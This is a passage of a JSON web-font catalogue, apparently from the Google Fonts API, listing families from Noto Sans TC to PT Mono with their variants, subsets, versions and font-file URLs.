"http://fonts.gstatic.com/s/notosanssc/v11/k3kIo84MPvpLmixcA63oeALZraWt9yX6-q2CGg.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Sans TC", "category": "sans-serif", "variants": [ "100", "300", "regular", "500", "700", "900" ], "subsets": [ "chinese-traditional", "latin" ], "version": "v10", "lastModified": "2020-03-05", "files": { "100": "http://fonts.gstatic.com/s/notosanstc/v10/-nFlOG829Oofr2wohFbTp9i9WyEJIfNZ1sjy.otf", "300": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9kwMvDd1V39Hr7g.otf", "regular": "http://fonts.gstatic.com/s/notosanstc/v10/-nF7OG829Oofr2wohFbTp9iFOSsLA_ZJ1g.otf", "500": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9ywIvDd1V39Hr7g.otf", "700": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9gwQvDd1V39Hr7g.otf", "900": "http://fonts.gstatic.com/s/notosanstc/v10/-nFkOG829Oofr2wohFbTp9i9uwYvDd1V39Hr7g.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/notoserif/v8/ga6Iaw1J5X9T9RW6j9bNTFAcaRi_bMQ.ttf", "italic": "http://fonts.gstatic.com/s/notoserif/v8/ga6Kaw1J5X9T9RW6j9bNfFIWbTq6fMRRMw.ttf", "700": "http://fonts.gstatic.com/s/notoserif/v8/ga6Law1J5X9T9RW6j9bNdOwzTRCUcM1IKoY.ttf", "700italic": "http://fonts.gstatic.com/s/notoserif/v8/ga6Vaw1J5X9T9RW6j9bNfFIu0RWedO9NOoYIDg.ttf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif JP", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "japanese", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZBaPRkgfU8fEwb0.otf", "300": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZHKMRkgfU8fEwb0.otf", "regular": "http://fonts.gstatic.com/s/notoserifjp/v7/xn7mYHs72GKoTvER4Gn3b5eMXNikYkY0T84.otf", "500": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZCqNRkgfU8fEwb0.otf", "600": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZAaKRkgfU8fEwb0.otf", "700": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZGKLRkgfU8fEwb0.otf", "900": "http://fonts.gstatic.com/s/notoserifjp/v7/xn77YHs72GKoTvER4Gn3b5eMZFqJRkgfU8fEwb0.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif KR", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "korean", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTihC8O1ZNH1ahck.otf", "300": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTkxB8O1ZNH1ahck.otf", "regular": "http://fonts.gstatic.com/s/notoserifkr/v6/3Jn7SDn90Gmq2mr3blnHaTZXduZp1ONyKHQ.otf", "500": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXThRA8O1ZNH1ahck.otf", "600": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTjhH8O1ZNH1ahck.otf", "700": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTlxG8O1ZNH1ahck.otf", "900": "http://fonts.gstatic.com/s/notoserifkr/v6/3JnmSDn90Gmq2mr3blnHaTZXTmRE8O1ZNH1ahck.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif SC", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "chinese-simplified", "latin" ], "version": "v7", "lastModified": "2020-01-30", "files": { "200": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mm63SzZBEtERe7U.otf", "300": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mgq0SzZBEtERe7U.otf", "regular": "http://fonts.gstatic.com/s/notoserifsc/v7/H4chBXePl9DZ0Xe7gG9cyOj7oqCcbzhqDtg.otf", "500": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mlK1SzZBEtERe7U.otf", "600": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mn6ySzZBEtERe7U.otf", "700": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7mhqzSzZBEtERe7U.otf", "900": "http://fonts.gstatic.com/s/notoserifsc/v7/H4c8BXePl9DZ0Xe7gG9cyOj7miKxSzZBEtERe7U.otf" } }, { "kind": "webfonts#webfont", "family": "Noto Serif TC", "category": "serif", "variants": [ "200", "300", "regular", "500", "600", "700", "900" ], "subsets": [ "chinese-traditional", "latin" ], "version": "v7", "lastModified": "2020-01-30", "files": { "200": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0Bvr8vbX9GTsoOAX4.otf", "300": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvtssbX9GTsoOAX4.otf", "regular": "http://fonts.gstatic.com/s/notoseriftc/v7/XLYgIZb5bJNDGYxLBibeHZ0BhnEESXFtUsM.otf", "500": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvoMtbX9GTsoOAX4.otf", "600": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0Bvq8qbX9GTsoOAX4.otf", "700": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvssrbX9GTsoOAX4.otf", "900": "http://fonts.gstatic.com/s/notoseriftc/v7/XLY9IZb5bJNDGYxLBibeHZ0BvvMpbX9GTsoOAX4.otf" } }, { "kind": "webfonts#webfont", "family": "Nova Cut", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novacut/v11/KFOkCnSYu8mL-39LkWxPKTM1K9nz.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Flat", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaflat/v11/QdVUSTc-JgqpytEbVebEuStkm20oJA.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "greek", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novamono/v10/Cn-0JtiGWQ5Ajb--MRKfYGxYrdM9Sg.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Oval", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaoval/v11/jAnEgHdmANHvPenMaswCMY-h3cWkWg.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Round", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaround/v11/flU9Rqquw5UhEnlwTJYTYYfeeetYEBc.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Script", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novascript/v12/7Au7p_IpkSWSTWaFWkumvmQNEl0O0kEx.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Slim", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novaslim/v11/Z9XUDmZNQAuem8jyZcn-yMOInrib9Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Nova Square", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/novasquare/v12/RrQUbo9-9DV7b06QHgSWsZhARYMgGtWA.ttf" } }, { "kind": "webfonts#webfont", "family": "Numans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/numans/v9/SlGRmQmGupYAfH8IYRggiHVqaQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Nunito", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-11-14", "files": { "200": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofA-sekZuHJeTsfDQ.ttf", "200italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN5MZ-vNWz4PDWtj.ttf", "300": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAnsSkZuHJeTsfDQ.ttf", "300italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4oZOvNWz4PDWtj.ttf", "regular": "http://fonts.gstatic.com/s/nunito/v12/XRXV3I6Li01BKof4MuyAbsrVcA.ttf", "italic": "http://fonts.gstatic.com/s/nunito/v12/XRXX3I6Li01BKofIMOaETM_FcCIG.ttf", "600": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofA6sKkZuHJeTsfDQ.ttf", "600italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN5cYuvNWz4PDWtj.ttf", "700": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAjsOkZuHJeTsfDQ.ttf", "700italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN44Y-vNWz4PDWtj.ttf", "800": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAksCkZuHJeTsfDQ.ttf", "800italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4kYOvNWz4PDWtj.ttf", "900": "http://fonts.gstatic.com/s/nunito/v12/XRXW3I6Li01BKofAtsGkZuHJeTsfDQ.ttf", "900italic": "http://fonts.gstatic.com/s/nunito/v12/XRXQ3I6Li01BKofIMN4AYevNWz4PDWtj.ttf" } }, { "kind": "webfonts#webfont", "family": "Nunito Sans", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-22", "files": { "200": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc9yAv5qWVAgVol-.ttf", "200italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4GxZrU1QCU5l-06Y.ttf", "300": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8WAf5qWVAgVol-.ttf", "300italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G3JoU1QCU5l-06Y.ttf", "regular": "http://fonts.gstatic.com/s/nunitosans/v5/pe0qMImSLYBIv1o4X1M8cfe6Kdpickwp.ttf", "italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe0oMImSLYBIv1o4X1M8cce4I95Ad1wpT5A.ttf", "600": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc9iB_5qWVAgVol-.ttf", "600italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4GwZuU1QCU5l-06Y.ttf", "700": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8GBv5qWVAgVol-.ttf", "700italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G2JvU1QCU5l-06Y.ttf", "800": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8aBf5qWVAgVol-.ttf", "800italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G35sU1QCU5l-06Y.ttf", "900": "http://fonts.gstatic.com/s/nunitosans/v5/pe03MImSLYBIv1o4X1M8cc8-BP5qWVAgVol-.ttf", "900italic": "http://fonts.gstatic.com/s/nunitosans/v5/pe01MImSLYBIv1o4X1M8cce4G1ptU1QCU5l-06Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Odibee Sans", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/odibeesans/v1/neIPzCSooYAho6WvjeToRYkyepH9qGsf.ttf" } }, { "kind": "webfonts#webfont", "family": "Odor Mean Chey", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/odormeanchey/v11/raxkHiKDttkTe1aOGcJMR1A_4mrY2zqUKafv.ttf" } }, { "kind": "webfonts#webfont", "family": "Offside", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/offside/v7/HI_KiYMWKa9QrAykQ5HiRp-dhpQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Old Standard TT", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQubh3o1vLImiwAVvYawgcf2eVurVC5RHdCZg.ttf", "italic": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQsbh3o1vLImiwAVvYawgcf2eVer1q9ZnJSZtQG.ttf", "700": "http://fonts.gstatic.com/s/oldstandardtt/v12/MwQrbh3o1vLImiwAVvYawgcf2eVWEX-dTFxeb80flQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Oldenburg", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oldenburg/v7/fC1jPY5JYWzbywv7c4V6UU6oXyndrw.ttf" } }, { "kind": "webfonts#webfont", "family": "Oleo Script", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oleoscript/v8/rax5HieDvtMOe0iICsUccBhasU7Q8Cad.ttf", "700": "http://fonts.gstatic.com/s/oleoscript/v8/raxkHieDvtMOe0iICsUccCDmnmrY2zqUKafv.ttf" } }, { "kind": "webfonts#webfont", "family": "Oleo Script Swash Caps", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v7/Noaj6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HMXquSY0Hg90.ttf", "700": "http://fonts.gstatic.com/s/oleoscriptswashcaps/v7/Noag6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HCcaBbYUsn9T5dt0.ttf" } }, { "kind": "webfonts#webfont", "family": "Open Sans", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v17", "lastModified": "2019-07-23", "files": { "300": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN_r8-VeJoCqeDjg.ttf", "300italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKWyV-hsKKKTjrPW.ttf", "regular": "http://fonts.gstatic.com/s/opensans/v17/mem8YaGs126MiZpBA-U1UpcaXcl0Aw.ttf", "italic": "http://fonts.gstatic.com/s/opensans/v17/mem6YaGs126MiZpBA-UFUJ0ef8xkA76a.ttf", "600": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UNirk-VeJoCqeDjg.ttf", "600italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKXGUehsKKKTjrPW.ttf", "700": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN7rg-VeJoCqeDjg.ttf", "700italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKWiUOhsKKKTjrPW.ttf", "800": "http://fonts.gstatic.com/s/opensans/v17/mem5YaGs126MiZpBA-UN8rs-VeJoCqeDjg.ttf", "800italic": "http://fonts.gstatic.com/s/opensans/v17/memnYaGs126MiZpBA-UFUKW-U-hsKKKTjrPW.ttf" } }, { "kind": "webfonts#webfont", "family": "Open Sans Condensed", "category": "sans-serif", "variants": [ "300", "300italic", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhPuLGRpWRyAs.ttf", "300italic": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NHdQDnbTkabZAIOl9il_O6KJj73e7Fd_-7suDMQreU2AsJSg.ttf", "700": "http://fonts.gstatic.com/s/opensanscondensed/v14/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmPuLGRpWRyAs.ttf" } }, { "kind": "webfonts#webfont", "family": "Oranienbaum", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oranienbaum/v8/OZpHg_txtzZKMuXLIVrx-3zn7kz3dpHc.ttf" } }, { "kind": "webfonts#webfont", "family": "Orbitron", "category": "sans-serif", "variants": [ "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin" ], "version": "v15", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyGy6xpmIyXjU1pg.ttf", "500": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyKS6xpmIyXjU1pg.ttf", "600": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyxSmxpmIyXjU1pg.ttf", "700": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1ny_CmxpmIyXjU1pg.ttf", "800": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nymymxpmIyXjU1pg.ttf", "900": "http://fonts.gstatic.com/s/orbitron/v15/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nysimxpmIyXjU1pg.ttf" } }, { "kind": "webfonts#webfont", "family": "Oregano", "category": "display", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oregano/v7/If2IXTPxciS3H4S2kZffPznO3yM.ttf", "italic": "http://fonts.gstatic.com/s/oregano/v7/If2KXTPxciS3H4S2oZXVOxvLzyP_qw.ttf" } }, { "kind": "webfonts#webfont", "family": "Orienta", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/orienta/v7/PlI9FlK4Jrl5Y9zNeyeo9HRFhcU.ttf" } }, { "kind": "webfonts#webfont", "family": "Original Surfer", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/originalsurfer/v8/RWmQoKGZ9vIirYntXJ3_MbekzNMiDEtvAlaMKw.ttf" } }, { "kind": "webfonts#webfont", "family": "Oswald", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "latin-ext", "latin" ], "version": "v31", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs13FvgUFoZAaRliE.ttf", "300": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs169vgUFoZAaRliE.ttf", "regular": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1_FvgUFoZAaRliE.ttf", "500": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs18NvgUFoZAaRliE.ttf", "600": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1y9ogUFoZAaRliE.ttf", "700": "http://fonts.gstatic.com/s/oswald/v31/TK3_WkUHHAIjg75cFRf3bXL8LICs1xZogUFoZAaRliE.ttf" } }, { "kind": "webfonts#webfont", "family": "Over the Rainbow", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/overtherainbow/v10/11haGoXG1k_HKhMLUWz7Mc7vvW5upvOm9NA2XG0.ttf" } }, { "kind": "webfonts#webfont", "family": "Overlock", "category": "display", "variants": [ "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/overlock/v9/Z9XVDmdMWRiN1_T9Z4Te4u2El6GC.ttf", "italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XTDmdMWRiN1_T9Z7Tc6OmmkrGC7Cs.ttf", "700": "http://fonts.gstatic.com/s/overlock/v9/Z9XSDmdMWRiN1_T9Z7xizcmMvL2L9TLT.ttf", "700italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XQDmdMWRiN1_T9Z7Tc0FWJtrmp8CLTlNs.ttf", "900": "http://fonts.gstatic.com/s/overlock/v9/Z9XSDmdMWRiN1_T9Z7xaz8mMvL2L9TLT.ttf", "900italic": "http://fonts.gstatic.com/s/overlock/v9/Z9XQDmdMWRiN1_T9Z7Tc0G2Ltrmp8CLTlNs.ttf" } }, { "kind": "webfonts#webfont", "family": "Overlock SC", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/overlocksc/v8/1cX3aUHKGZrstGAY8nwVzHGAq8Sk1PoH.ttf" } }, { "kind": "webfonts#webfont", "family": "Overpass", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/overpass/v4/qFdB35WCmI96Ajtm81nGU97gxhcJk1s.ttf", "100italic": "http://fonts.gstatic.com/s/overpass/v4/qFdD35WCmI96Ajtm81Gga7rqwjUMg1siNQ.ttf", "200": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81lqcv7K6BsAikI7.ttf", "200italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81GgaxbL4h8ij1I7LLE.ttf", "300": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kOcf7K6BsAikI7.ttf", "300italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga3LI4h8ij1I7LLE.ttf", "regular": "http://fonts.gstatic.com/s/overpass/v4/qFdH35WCmI96Ajtm82GiWdrCwwcJ.ttf", "italic": "http://fonts.gstatic.com/s/overpass/v4/qFdB35WCmI96Ajtm81GgU97gxhcJk1s.ttf", "600": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81l6d_7K6BsAikI7.ttf", "600italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81GgawbO4h8ij1I7LLE.ttf", "700": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kedv7K6BsAikI7.ttf", "700italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga2LP4h8ij1I7LLE.ttf", "800": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kCdf7K6BsAikI7.ttf", "800italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga37M4h8ij1I7LLE.ttf", "900": "http://fonts.gstatic.com/s/overpass/v4/qFdA35WCmI96Ajtm81kmdP7K6BsAikI7.ttf", "900italic": "http://fonts.gstatic.com/s/overpass/v4/qFdC35WCmI96Ajtm81Gga1rN4h8ij1I7LLE.ttf" } }, { "kind": "webfonts#webfont", "family": "Overpass Mono", "category": "monospace", "variants": [ "300", "regular", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3oSWk_edB3Zf8EQ.ttf", "regular": "http://fonts.gstatic.com/s/overpassmono/v5/_Xmq-H86tzKDdAPa-KPQZ-AC5ii-t_-2G38.ttf", "600": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3vCQk_edB3Zf8EQ.ttf", "700": "http://fonts.gstatic.com/s/overpassmono/v5/_Xm3-H86tzKDdAPa-KPQZ-AC3pSRk_edB3Zf8EQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Ovo", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ovo/v11/yYLl0h7Wyfzjy4Q5_3WVxA.ttf" } }, { "kind": "webfonts#webfont", "family": "Oxanium", "category": "display", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "200": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc63l9Lhqa48pA8w.ttf", "300": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc8nm9Lhqa48pA8w.ttf", "regular": "http://fonts.gstatic.com/s/oxanium/v1/RrQQboN_4yJ0JmiMS2XO0LBBd4Y.ttf", "500": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc5Hn9Lhqa48pA8w.ttf", "600": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc73g9Lhqa48pA8w.ttf", "700": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc9nh9Lhqa48pA8w.ttf", "800": "http://fonts.gstatic.com/s/oxanium/v1/RrQVboN_4yJ0JmiMc8Xi9Lhqa48pA8w.ttf" } }, { "kind": "webfonts#webfont", "family": "Oxygen", "category": "sans-serif", "variants": [ "300", "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-22", "files": { "300": "http://fonts.gstatic.com/s/oxygen/v9/2sDcZG1Wl4LcnbuCJW8Db2-4C7wFZQ.ttf", "regular": "http://fonts.gstatic.com/s/oxygen/v9/2sDfZG1Wl4Lcnbu6iUcnZ0SkAg.ttf", "700": "http://fonts.gstatic.com/s/oxygen/v9/2sDcZG1Wl4LcnbuCNWgDb2-4C7wFZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Oxygen Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/oxygenmono/v7/h0GsssGg9FxgDgCjLeAd7ijfze-PPlUu.ttf" } }, { "kind": "webfonts#webfont", "family": "PT Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/ptmono/v7/9oRONYoBnWILk-9ArCg5MtPyAcg.ttf" } }, { "kind": 